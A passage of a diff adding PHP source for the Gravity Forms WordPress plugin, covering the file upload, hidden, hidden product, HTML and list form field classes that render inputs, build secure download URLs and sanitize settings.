||||
} elseif ( $file_count == 0 ) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
$file_path = $value;
|
||||
if ( ! empty( $file_path ) ) {
|
||||
//displaying thumbnail (if file is an image) or an icon based on the extension
|
||||
$thumb = GFEntryList::get_icon_url( $file_path );
|
||||
$file_path = $this->get_download_url( $file_path );
|
||||
$file_path = esc_attr( $file_path );
|
||||
$value = "<a href='$file_path' target='_blank' title='" . esc_attr__( 'Click to view', 'gravityforms' ) . "'><img src='$thumb'/></a>";
|
||||
}
|
||||
return $value;
|
||||
}
|
||||
|
||||
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
|
||||
$output = '';
|
||||
if ( ! empty( $value ) ) {
|
||||
$output_arr = array();
|
||||
$file_paths = $this->multipleFiles ? json_decode( $value ) : array( $value );
|
||||
$force_download = in_array( 'download', $this->get_modifiers() );
|
||||
|
||||
if ( is_array( $file_paths ) ) {
|
||||
foreach ( $file_paths as $file_path ) {
|
||||
$info = pathinfo( $file_path );
|
||||
$file_path = $this->get_download_url( $file_path, $force_download );
|
||||
|
||||
/**
|
||||
* Allow for override of SSL replacement
|
||||
*
|
||||
* By default Gravity Forms will attempt to determine if the schema of the URL should be overwritten for SSL.
|
||||
* This is not ideal for all situations, particularly domain mapping. Setting $field_ssl to false will prevent
|
||||
* the override.
|
||||
*
|
||||
* @since 2.1.1.23
|
||||
*
|
||||
* @param bool $field_ssl True to allow override if needed or false if not.
|
||||
* @param string $file_path The file path of the download file.
|
||||
* @param GF_Field_FileUpload $field The field object for further context.
|
||||
*/
|
||||
$field_ssl = apply_filters( 'gform_secure_file_download_is_https', true, $file_path, $this );
|
||||
|
||||
if ( GFCommon::is_ssl() && strpos( $file_path, 'http:' ) !== false && $field_ssl === true ) {
|
||||
$file_path = str_replace( 'http:', 'https:', $file_path );
|
||||
}
|
||||
|
||||
/**
|
||||
* Allows for the filtering of the file path before output.
|
||||
*
|
||||
* @since 2.1.1.23
|
||||
*
|
||||
* @param string $file_path The file path of the download file.
|
||||
* @param GF_Field_FileUpload $field The field object for further context.
|
||||
*/
|
||||
$file_path = str_replace( ' ', '%20', apply_filters( 'gform_fileupload_entry_value_file_path', $file_path, $this ) );
|
||||
$output_arr[] = $format == 'text' ? $file_path : sprintf( "<li><a href='%s' target='_blank' title='%s'>%s</a></li>", esc_attr( $file_path ), esc_attr__( 'Click to view', 'gravityforms' ), $info['basename'] );
|
||||
|
||||
}
|
||||
$output = join( PHP_EOL, $output_arr );
|
||||
}
|
||||
}
|
||||
$output = empty( $output ) || $format == 'text' ? $output : sprintf( '<ul>%s</ul>', $output );
|
||||
|
||||
return $output;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets merge tag values.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GF_Field::get_modifiers()
|
||||
* @uses GF_Field_FileUpload::get_download_url()
|
||||
*
|
||||
* @param array|string $value The value of the input.
|
||||
* @param string $input_id The input ID to use.
|
||||
* @param array $entry The Entry Object.
|
||||
* @param array $form The Form Object
|
||||
* @param string $modifier The modifier passed.
|
||||
* @param array|string $raw_value The raw value of the input.
|
||||
* @param bool $url_encode If the result should be URL encoded.
|
||||
* @param bool $esc_html If the HTML should be escaped.
|
||||
* @param string $format The format that the value should be.
|
||||
* @param bool $nl2br If the nl2br function should be used.
|
||||
*
|
||||
* @return string The processed merge tag.
|
||||
*/
|
||||
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
|
||||
|
||||
$force_download = in_array( 'download', $this->get_modifiers() );
|
||||
|
||||
if ( $this->multipleFiles ) {
|
||||
|
||||
$files = empty( $raw_value ) ? array() : json_decode( $raw_value, true );
|
||||
foreach ( $files as &$file ) {
|
||||
$file = $this->get_download_url( $file, $force_download );
|
||||
$file = str_replace( ' ', '%20', $file );
|
||||
if ( $esc_html ) {
|
||||
$value = esc_html( $value );
|
||||
}
|
||||
}
|
||||
$value = $format == 'html' ? join( '<br />', $files ) : join( ', ', $files );
|
||||
|
||||
} else {
|
||||
$value = $this->get_download_url( $value, $force_download );
|
||||
$value = str_replace( ' ', '%20', $value );
|
||||
}
|
||||
|
||||
if ( $url_encode ) {
|
||||
$value = urlencode( $value );
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
|
||||
public function move_temp_file( $form_id, $tempfile_info ) {
|
||||
|
||||
$target = GFFormsModel::get_file_upload_path( $form_id, $tempfile_info['uploaded_filename'] );
|
||||
$source = GFFormsModel::get_upload_path( $form_id ) . '/tmp/' . $tempfile_info['temp_filename'];
|
||||
|
||||
GFCommon::log_debug( __METHOD__ . '(): Moving temp file from: ' . $source );
|
||||
|
||||
if ( rename( $source, $target['path'] ) ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): File successfully moved.' );
|
||||
$this->set_permissions( $target['path'] );
|
||||
|
||||
return $target['url'];
|
||||
} else {
|
||||
GFCommon::log_debug( __METHOD__ . '(): FAILED (Temporary file could not be moved.)' );
|
||||
|
||||
return 'FAILED (Temporary file could not be moved.)';
|
||||
}
|
||||
}
|
||||
|
||||
function set_permissions( $path ) {
|
||||
GFCommon::log_debug( __METHOD__ . '(): Setting permissions on: ' . $path );
|
||||
|
||||
GFFormsModel::set_permissions( $path );
|
||||
}
|
||||
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
if ( $this->maxFileSize ) {
|
||||
$this->maxFileSize = absint( $this->maxFileSize );
|
||||
}
|
||||
|
||||
if ( $this->maxFiles ) {
|
||||
$this->maxFiles = preg_replace( '/[^0-9,.]/', '', $this->maxFiles );
|
||||
}
|
||||
|
||||
$this->multipleFiles = (bool) $this->multipleFiles;
|
||||
|
||||
$this->allowedExtensions = sanitize_text_field( $this->allowedExtensions );
|
||||
}
|
||||
|
||||
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
|
||||
if ( empty( $input_id ) ) {
|
||||
$input_id = $this->id;
|
||||
}
|
||||
|
||||
$value = rgar( $entry, $input_id );
|
||||
if ( $this->multipleFiles && ! empty( $value ) ) {
|
||||
return implode( ' , ', json_decode( $value, true ) );
|
||||
}
|
||||
|
||||
return $value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the download URL for a file. The URL is not escaped for output.
|
||||
*
|
||||
* @since 2.0
|
||||
* @access public
|
||||
*
|
||||
* @param string $file The complete file URL.
|
||||
* @param bool $force_download If the download should be forced. Defaults to false.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
public function get_download_url( $file, $force_download = false ) {
|
||||
$download_url = $file;
|
||||
|
||||
$secure_download_location = true;
|
||||
|
||||
/**
|
||||
* By default the real location of the uploaded file will be hidden and the download URL will be generated with
|
||||
* a security token to prevent guessing or enumeration attacks to discover the location of other files.
|
||||
*
|
||||
* Return FALSE to display the real location.
|
||||
*
|
||||
* @param bool $secure_download_location If the secure location should be used. Defaults to true.
|
||||
* @param string $file The URL of the file.
|
||||
* @param GF_Field_FileUpload $this The Field
|
||||
*/
|
||||
$secure_download_location = apply_filters( 'gform_secure_file_download_location', $secure_download_location, $file, $this );
|
||||
$secure_download_location = apply_filters( 'gform_secure_file_download_location_' . $this->formId, $secure_download_location, $file, $this );
|
||||
|
||||
if ( ! $secure_download_location ) {
|
||||
|
||||
/**
|
||||
* Allow filtering of the download URL.
|
||||
*
|
||||
* Allows for manual filtering of the download URL to handle conditions such as
|
||||
* unusual domain mapping and others.
|
||||
*
|
||||
* @since 2.1.1.1
|
||||
*
|
||||
* @param string $download_url The URL from which to download the file.
|
||||
* @param GF_Field_FileUpload $field The field object for further context.
|
||||
*/
|
||||
return apply_filters( 'gform_secure_file_download_url', $download_url, $this );
|
||||
|
||||
}
|
||||
|
||||
$upload_root = GFFormsModel::get_upload_url( $this->formId );
|
||||
$upload_root = trailingslashit( $upload_root );
|
||||
|
||||
// Only hide the real URL if the location of the file is in the upload root for the form.
|
||||
// The upload root is calculated using the WP Salts so if the WP Salts have changed then file can't be located during the download request.
|
||||
if ( strpos( $file, $upload_root ) !== false ) {
|
||||
$file = str_replace( $upload_root, '', $file );
|
||||
$download_url = site_url( 'index.php' );
|
||||
$args = array(
|
||||
'gf-download' => urlencode( $file ),
|
||||
'form-id' => $this->formId,
|
||||
'field-id' => $this->id,
|
||||
'hash' => GFCommon::generate_download_hash( $this->formId, $this->id, $file ),
|
||||
);
|
||||
if ( $force_download ) {
|
||||
$args['dl'] = 1;
|
||||
}
|
||||
$download_url = add_query_arg( $args, $download_url );
|
||||
}
|
||||
|
||||
/**
|
||||
* Allow filtering of the download URL.
|
||||
*
|
||||
* Allows for manual filtering of the download URL to handle conditions such as
|
||||
* unusual domain mapping and others.
|
||||
*
|
||||
* @param string $download_url The URL from which to download the file.
|
||||
* @param GF_Field_FileUpload $field The field object for further context.
|
||||
*/
|
||||
return apply_filters( 'gform_secure_file_download_url', $download_url, $this );
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_FileUpload() );
|
||||
62
includes/fields/class-gf-field-hidden.php
Normal file
62
includes/fields/class-gf-field-hidden.php
Normal file
@@ -0,0 +1,62 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_Hidden extends GF_Field {
|
||||
|
||||
public $type = 'hidden';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'Hidden', 'gravityforms' );
|
||||
}
|
||||
|
||||
public function is_conditional_logic_supported(){
|
||||
return true;
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'prepopulate_field_setting',
|
||||
'label_setting',
|
||||
'default_value_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = $form['id'];
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = (int) $this->id;
|
||||
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
|
||||
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$field_type = $is_entry_detail || $is_form_editor ? 'text' : 'hidden';
|
||||
$class_attribute = $is_entry_detail || $is_form_editor ? '' : "class='gform_hidden'";
|
||||
$required_attribute = $this->isRequired ? 'aria-required="true"' : '';
|
||||
$invalid_attribute = $this->failed_validation ? 'aria-invalid="true"' : 'aria-invalid="false"';
|
||||
|
||||
return sprintf( "<input name='input_%d' id='%s' type='$field_type' {$class_attribute} {$required_attribute} {$invalid_attribute} value='%s' %s/>", $id, $field_id, esc_attr( $value ), $disabled_text );
|
||||
}
|
||||
|
||||
public function get_field_content( $value, $force_frontend_label, $form ) {
|
||||
$form_id = $form['id'];
|
||||
$admin_buttons = $this->get_admin_buttons();
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
$is_admin = $is_entry_detail || $is_form_editor;
|
||||
$field_label = $this->get_field_label( $force_frontend_label, $value );
|
||||
$field_id = $is_admin || $form_id == 0 ? "input_{$this->id}" : 'input_' . $form_id . "_{$this->id}";
|
||||
$field_content = ! $is_admin ? '{FIELD}' : $field_content = sprintf( "%s<label class='gfield_label' for='%s'>%s</label>{FIELD}", $admin_buttons, $field_id, esc_html( $field_label ) );
|
||||
|
||||
return $field_content;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_Hidden() );
|
||||
80
includes/fields/class-gf-field-hiddenproduct.php
Normal file
80
includes/fields/class-gf-field-hiddenproduct.php
Normal file
@@ -0,0 +1,80 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
|
||||
class GF_Field_HiddenProduct extends GF_Field {
|
||||
|
||||
public $type = 'hiddenproduct';
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'base_price_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_form_editor_button() {
|
||||
return array();
|
||||
}
|
||||
|
||||
public function validate( $value, $form ) {
|
||||
$quantity_id = $this->id . '.3';
|
||||
$quantity = rgget( $quantity_id, $value );
|
||||
|
||||
if ( $this->isRequired && rgblank( $quantity ) && ! $this->disableQuantity ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = empty($this->errorMessage) ? esc_html__( 'This field is required.', 'gravityforms' ) : $this->errorMessage;
|
||||
} elseif ( ! empty( $quantity ) && ( ! is_numeric( $quantity ) || intval( $quantity ) != floatval( $quantity ) || intval( $quantity ) < 0 ) ) {
|
||||
$this->failed_validation = true;
|
||||
$this->validation_message = esc_html__( 'Please enter a valid quantity', 'gravityforms' );
|
||||
}
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
$form_id = $form['id'];
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$id = (int) $this->id;
|
||||
|
||||
$product_name = ! is_array( $value ) || empty( $value[ $this->id . '.1' ] ) ? esc_attr( $this->label ) : esc_attr( $value[ $this->id . '.1' ] );
|
||||
$price = ! is_array( $value ) || empty( $value[ $this->id . '.2' ] ) ? $this->basePrice : esc_attr( $value[ $this->id . '.2' ] );
|
||||
$quantity = is_array( $value ) ? esc_attr( $value[ $this->id . '.3' ] ) : '';
|
||||
|
||||
if ( rgblank( $quantity ) ) {
|
||||
$quantity = 1;
|
||||
}
|
||||
|
||||
if ( empty( $price ) ) {
|
||||
$price = 0;
|
||||
}
|
||||
|
||||
$price = esc_attr( $price );
|
||||
|
||||
$has_quantity_field = sizeof( GFCommon::get_product_fields_by_type( $form, array( 'quantity' ), $this->id ) ) > 0;
|
||||
if ( $has_quantity_field ) {
|
||||
$this->disableQuantity = true;
|
||||
}
|
||||
|
||||
$quantity_field = $has_quantity_field ? '' : "<input type='hidden' name='input_{$id}.3' value='" . esc_attr( $quantity ) . "' id='ginput_quantity_{$form_id}_{$this->id}' class='gform_hidden' />";
|
||||
$product_name_field = "<input type='hidden' name='input_{$id}.1' value='{$product_name}' class='gform_hidden' />";
|
||||
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
$field_type = $is_entry_detail || $is_form_editor ? 'text' : 'hidden';
|
||||
|
||||
return $quantity_field . $product_name_field . "<input name='input_{$id}.2' id='ginput_base_price_{$form_id}_{$this->id}' type='{$field_type}' value='{$price}' class='gform_hidden ginput_amount' {$disabled_text}/>";
|
||||
}
|
||||
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
|
||||
$price_number = GFCommon::to_number( $this->basePrice );
|
||||
$this->basePrice = GFCommon::to_money( $price_number );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_HiddenProduct() );
|
||||
73
includes/fields/class-gf-field-html.php
Normal file
73
includes/fields/class-gf-field-html.php
Normal file
@@ -0,0 +1,73 @@
|
||||
<?php
|
||||
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
class GF_Field_HTML extends GF_Field {
|
||||
|
||||
public $type = 'html';
|
||||
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'HTML', 'gravityforms' );
|
||||
}
|
||||
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'content_setting',
|
||||
'disable_margins_setting',
|
||||
'conditional_logic_field_setting',
|
||||
'label_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$content = $is_entry_detail || $is_form_editor ? "<div class='gf-html-container'><span class='gf_blockheader'>
|
||||
<i class='fa fa-code fa-lg'></i> " . esc_html__( 'HTML Content', 'gravityforms' ) .
|
||||
'</span><span>' . esc_html__( 'This is a content placeholder. HTML content is not displayed in the form admin. Preview this form to view the content.', 'gravityforms' ) . '</span></div>'
|
||||
: $this->content;
|
||||
$content = GFCommon::replace_variables_prepopulate( $content ); // adding support for merge tags
|
||||
|
||||
// adding support for shortcodes
|
||||
$content = $this->do_shortcode( $content );
|
||||
|
||||
return $content;
|
||||
}
|
||||
|
||||
public function get_field_content( $value, $force_frontend_label, $form ) {
|
||||
$form_id = $form['id'];
|
||||
$admin_buttons = $this->get_admin_buttons();
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
$is_admin = $is_entry_detail || $is_form_editor;
|
||||
$field_label = $this->get_field_label( $force_frontend_label, $value );
|
||||
$field_id = $is_admin || $form_id == 0 ? "input_{$this->id}" : 'input_' . $form_id . "_{$this->id}";
|
||||
$field_content = ! $is_admin ? '{FIELD}' : $field_content = sprintf( "%s<label class='gfield_label' for='%s'>%s</label>{FIELD}", $admin_buttons, $field_id, esc_html( $field_label ) );
|
||||
|
||||
return $field_content;
|
||||
}
|
||||
|
||||
public function sanitize_settings() {
|
||||
parent::sanitize_settings();
|
||||
$this->content = GFCommon::maybe_wp_kses( $this->content );
|
||||
}
|
||||
|
||||
public function do_shortcode( $content ){
|
||||
|
||||
if( isset($GLOBALS['wp_embed']) ) {
|
||||
// adds support for the [embed] shortcode
|
||||
$content = $GLOBALS['wp_embed']->run_shortcode( $content );
|
||||
}
|
||||
// executes all other shortcodes
|
||||
$content = do_shortcode( $content );
|
||||
|
||||
return $content;
|
||||
}
|
||||
}
|
||||
|
||||
GF_Fields::register( new GF_Field_HTML() );
|
||||
786
includes/fields/class-gf-field-list.php
Normal file
786
includes/fields/class-gf-field-list.php
Normal file
@@ -0,0 +1,786 @@
|
||||
<?php
|
||||
|
||||
// If Gravity Forms isn't loaded, bail.
|
||||
if ( ! class_exists( 'GFForms' ) ) {
|
||||
die();
|
||||
}
|
||||
|
||||
/**
|
||||
* Class GF_Field_List
|
||||
*
|
||||
* Handles the behavior of List fields.
|
||||
*
|
||||
* @since Unknown
|
||||
*/
|
||||
class GF_Field_List extends GF_Field {
|
||||
|
||||
/**
|
||||
* Sets the field type for the List field.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @var string The field type.
|
||||
*/
|
||||
public $type = 'list';
|
||||
|
||||
/**
|
||||
* Sets the field title to be displayed in the form editor.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFCommon::get_field_type_title()
|
||||
* @used-by GFAddOn::get_field_map_choices()
|
||||
* @used-by GF_Field::get_form_editor_button()
|
||||
*
|
||||
* @return string The field title. Escaped and translatable.
|
||||
*/
|
||||
public function get_form_editor_field_title() {
|
||||
return esc_attr__( 'List', 'gravityforms' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Defines the field settings available in the form editor.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFFormDetail::inline_scripts()
|
||||
*
|
||||
* @return array The settings available.
|
||||
*/
|
||||
function get_form_editor_field_settings() {
|
||||
return array(
|
||||
'columns_setting',
|
||||
'maxrows_setting',
|
||||
'add_icon_url_setting',
|
||||
'delete_icon_url_setting',
|
||||
'conditional_logic_field_setting',
|
||||
'prepopulate_field_setting',
|
||||
'error_message_setting',
|
||||
'label_setting',
|
||||
'label_placement_setting',
|
||||
'admin_label_setting',
|
||||
'rules_setting',
|
||||
'visibility_setting',
|
||||
'description_setting',
|
||||
'css_class_setting',
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the ID of the first input.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GF_Field::is_form_editor()
|
||||
* @uses GF_Field_List::$id
|
||||
*
|
||||
* @param array $form The Form Object.
|
||||
*
|
||||
* @return string The ID of the first input. Empty string if not found.
|
||||
*/
|
||||
public function get_first_input_id( $form ) {
|
||||
return ! $this->is_form_editor() ? sprintf( 'input_%s_%s_shim', $form['id'], $this->id ) : '';
|
||||
}
|
||||
|
||||
/**
|
||||
* Defines if the inline style block has been printed.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access private
|
||||
*
|
||||
* @used-by GF_Field_List::get_field_input()
|
||||
*
|
||||
* @var bool false
|
||||
*/
|
||||
private static $_style_block_printed = false;
|
||||
|
||||
/**
|
||||
* Builds the field input HTML markup.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @used-by GFCommon::get_field_input()
|
||||
* @uses GF_Field::is_entry_detail()
|
||||
* @uses GF_Field::is_form_editor()
|
||||
* @uses GF_Field_List::$_style_block_printed
|
||||
* @uses GF_Field_List::$maxRow
|
||||
* @uses GF_Field_List::$addIconUrl
|
||||
* @uses GF_Field_List::$deleteIconUrl
|
||||
* @uses GFCommon::get_base_url()
|
||||
*
|
||||
* @param array $form The Form Object.
|
||||
* @param string $value The field value. Defaults to empty string.
|
||||
* @param null|array $entry The Entry Object. Defaults to null.
|
||||
*
|
||||
* @return string The List field HTML markup.
|
||||
*/
|
||||
public function get_field_input( $form, $value = '', $entry = null ) {
|
||||
|
||||
$form_id = $form['id'];
|
||||
$is_entry_detail = $this->is_entry_detail();
|
||||
$is_form_editor = $this->is_form_editor();
|
||||
|
||||
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
|
||||
|
||||
if ( ! empty( $value ) ) {
|
||||
$value = maybe_unserialize( $value );
|
||||
}
|
||||
|
||||
if ( ! is_array( $value ) ) {
|
||||
$value = array( array() );
|
||||
}
|
||||
|
||||
$has_columns = is_array( $this->choices );
|
||||
$columns = $has_columns ? $this->choices : array( array() );
|
||||
|
||||
$shim_style = is_rtl() ? 'position:absolute;left:999em;' : 'position:absolute;left:-999em;';
|
||||
$label_target_shim = sprintf( '<input type=\'text\' id=\'input_%1$s_%2$s_shim\' style=\'%3$s\' onfocus=\'jQuery( "#field_%1$s_%2$s table tr td:first-child input" ).focus();\' />', $form_id, $this->id, $shim_style );
|
||||
|
||||
$list = '';
|
||||
if ( ! self::$_style_block_printed ){
|
||||
// This style block needs to be inline so that the list field continues to work even if the option to turn off CSS output is activated.
|
||||
$list .= '<style type="text/css">
|
||||
|
||||
body .ginput_container_list table.gfield_list tbody tr td.gfield_list_icons {
|
||||
vertical-align: middle !important;
|
||||
}
|
||||
|
||||
body .ginput_container_list table.gfield_list tbody tr td.gfield_list_icons img.add_list_item,
|
||||
body .ginput_container_list table.gfield_list tbody tr td.gfield_list_icons img.delete_list_item {
|
||||
background-color: transparent !important;
|
||||
background-position: 0 0;
|
||||
background-size: 16px 16px !important;
|
||||
background-repeat: no-repeat;
|
||||
border: none !important;
|
||||
width: 16px !important;
|
||||
height: 16px !important;
|
||||
opacity: 0.5;
|
||||
transition: opacity .5s ease-out;
|
||||
-moz-transition: opacity .5s ease-out;
|
||||
-webkit-transition: opacity .5s ease-out;
|
||||
-o-transition: opacity .5s ease-out;
|
||||
}
|
||||
|
||||
body .ginput_container_list table.gfield_list tbody tr td.gfield_list_icons img.add_list_item:hover,
|
||||
body .ginput_container_list table.gfield_list tbody tr td.gfield_list_icons img.delete_list_item:hover {
|
||||
opacity: 1.0;
|
||||
}
|
||||
|
||||
</style>';
|
||||
|
||||
self::$_style_block_printed = true;
|
||||
}
|
||||
|
||||
$list .= "<div class='ginput_container ginput_container_list ginput_list'>" .
|
||||
$label_target_shim .
|
||||
"<table class='gfield_list gfield_list_container'>";
|
||||
|
||||
$class_attr = '';
|
||||
if ( $has_columns ) {
|
||||
|
||||
$list .= '<colgroup>';
|
||||
for ( $colnum = 1; $colnum <= count( $columns ) + 1; $colnum++ ) {
|
||||
$odd_even = ( $colnum % 2 ) == 0 ? 'even' : 'odd';
|
||||
$list .= sprintf( "<col id='gfield_list_%d_col_%d' class='gfield_list_col_%s' />", $this->id, $colnum, $odd_even );
|
||||
}
|
||||
$list .= '</colgroup>';
|
||||
|
||||
$list .= '<thead><tr>';
|
||||
foreach ( $columns as $column ) {
|
||||
$list .= '<th>' . esc_html( $column['text'] ) . '</th>';
|
||||
}
|
||||
$list .= '<th> </th></tr></thead>';
|
||||
} else {
|
||||
$list .=
|
||||
'<colgroup>' .
|
||||
"<col id='gfield_list_{$this->id}_col1' class='gfield_list_col_odd' />" .
|
||||
"<col id='gfield_list_{$this->id}_col2' class='gfield_list_col_even' />" .
|
||||
'</colgroup>';
|
||||
}
|
||||
|
||||
$delete_display = count( $value ) == 1 ? 'visibility:hidden;' : '';
|
||||
$maxRow = intval( $this->maxRows );
|
||||
$disabled_icon_class = ! empty( $maxRow ) && count( $value ) >= $maxRow ? 'gfield_icon_disabled' : '';
|
||||
|
||||
$add_icon = ! empty( $this->addIconUrl ) ? $this->addIconUrl : GFCommon::get_base_url() . '/images/list-add.svg';
|
||||
$delete_icon = ! empty( $this->deleteIconUrl ) ? $this->deleteIconUrl : GFCommon::get_base_url() . '/images/list-remove.svg';
|
||||
|
||||
$add_events = $is_form_editor ? '' : "onclick='gformAddListItem(this, {$maxRow})' onkeypress='gformAddListItem(this, {$maxRow})'";
|
||||
$delete_events = $is_form_editor ? '' : "onclick='gformDeleteListItem(this, {$maxRow})' onkeypress='gformDeleteListItem(this, {$maxRow})'";
|
||||
|
||||
$list .= '<tbody>';
|
||||
$rownum = 1;
|
||||
foreach ( $value as $item ) {
|
||||
|
||||
$odd_even = ( $rownum % 2 ) == 0 ? 'even' : 'odd';
|
||||
|
||||
$list .= "<tr class='gfield_list_row_{$odd_even} gfield_list_group'>";
|
||||
$colnum = 1;
|
||||
foreach ( $columns as $column ) {
|
||||
$data_label = '';
|
||||
|
||||
// Getting value. Taking into account columns being added/removed from form meta.
|
||||
if ( is_array( $item ) ) {
|
||||
if ( $has_columns ) {
|
||||
$val = rgar( $item, $column['text'] );
|
||||
$data_label = "data-label='" . esc_attr( $column['text'] ) . "'";
|
||||
} else {
|
||||
$vals = array_values( $item );
|
||||
$val = rgar( $vals, 0 );
|
||||
}
|
||||
} else {
|
||||
$val = $colnum == 1 ? $item : '';
|
||||
}
|
||||
|
||||
$list .= "<td class='gfield_list_cell gfield_list_{$this->id}_cell{$colnum}' {$data_label}>" . $this->get_list_input( $has_columns, $column, $val, $form_id ) . '</td>';
|
||||
$colnum ++;
|
||||
}
|
||||
|
||||
if ( $this->maxRows != 1 ) {
|
||||
|
||||
// Can't replace these icons with the webfont versions since they appear on the front end.
|
||||
|
||||
$list .= "<td class='gfield_list_icons'>";
|
||||
$list .= " <img src='{$add_icon}' class='add_list_item {$disabled_icon_class}' {$disabled_text} title='" . esc_attr__( 'Add another row', 'gravityforms' ) . "' alt='" . esc_attr__( 'Add a new row', 'gravityforms' ) . "' {$add_events} style='cursor:pointer;' " . $this->get_tabindex() . "/>" .
|
||||
" <img src='{$delete_icon}' class='delete_list_item' {$disabled_text} title='" . esc_attr__( 'Remove this row', 'gravityforms' ) . "' alt='" . esc_attr__( 'Remove this row', 'gravityforms' ) . "' {$delete_events} style='cursor:pointer; {$delete_display}' " . $this->get_tabindex() . "/>";
|
||||
$list .= '</td>';
|
||||
|
||||
}
|
||||
|
||||
$list .= '</tr>';
|
||||
|
||||
if ( ! empty( $maxRow ) && $rownum >= $maxRow ) {
|
||||
break;
|
||||
}
|
||||
|
||||
$rownum ++;
|
||||
}
|
||||
|
||||
$list .= '</tbody>';
|
||||
$list .= '</table></div>';
|
||||
|
||||
return $list;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Builds the input that will be inside the List field.
|
||||
*
|
||||
* @since Unknown
|
||||
* @access public
|
||||
*
|
||||
* @uses GF_Field::get_tabindex()
|
||||
* @uses GF_Field::is_form_editor()
|
||||
* @uses GF_Field_List::$choices
|
||||
*
|
||||
* @param bool $has_columns If the input has columns.
|
||||
* @param array $column The column details.
|
||||
* @param string $value The existing value of the input.
|
||||
* @param int $form_id The form ID.
|
||||
*
|
||||
* @return string The input HTML markup.
|
||||
*/
|
||||
public function get_list_input( $has_columns, $column, $value, $form_id ) {
|
||||
|
||||
$tabindex = $this->get_tabindex();
|
||||
$disabled = $this->is_form_editor() ? 'disabled' : '';
|
||||
|
||||
$column_index = 1;
|
||||
if ( $has_columns && is_array( $this->choices ) ) {
|
||||
foreach ( $this->choices as $choice ) {
|
||||
if ( $choice['text'] == $column['text'] ) {
|
||||
break;
|
||||
}
|
||||
|
||||
$column_index ++;
|
||||
}
|
||||
}
|
||||
$input_info = array( 'type' => 'text' );
|
||||
|
||||
/**
|
||||
* Filters the column input.
|
||||
*
|
||||
* @since Unknown
|
||||
*
|
||||
* @param array $input_info Information about the input. Contains the input type.
|
||||
* @param object GF_Field_List Field object for this field type.
|
||||
* @param string $column['text'] The column text value.
|
||||
* @param int $form_id The form ID.
|
||||
*/
|
||||
$input_info = gf_apply_filters( array(
|
||||
'gform_column_input',
|
||||
$form_id,
|
||||
$this->id,
|
||||
$column_index
|
||||
), $input_info, $this, rgar( $column, 'text' ), $value, $form_id );
|
||||
|
||||
switch ( $input_info['type'] ) {
|
||||
|
||||
case 'select' :
|
||||
$input = "<select name='input_{$this->id}[]' {$tabindex} {$disabled} >";
|
||||
if ( ! is_array( $input_info['choices'] ) ) {
|
||||
$input_info['choices'] = array_map( 'trim', explode( ',', $input_info['choices'] ) );
|
||||
}
|
||||
|
||||
foreach ( $input_info['choices'] as $choice ) {
|
||||
if ( is_array( $choice ) ) {
|
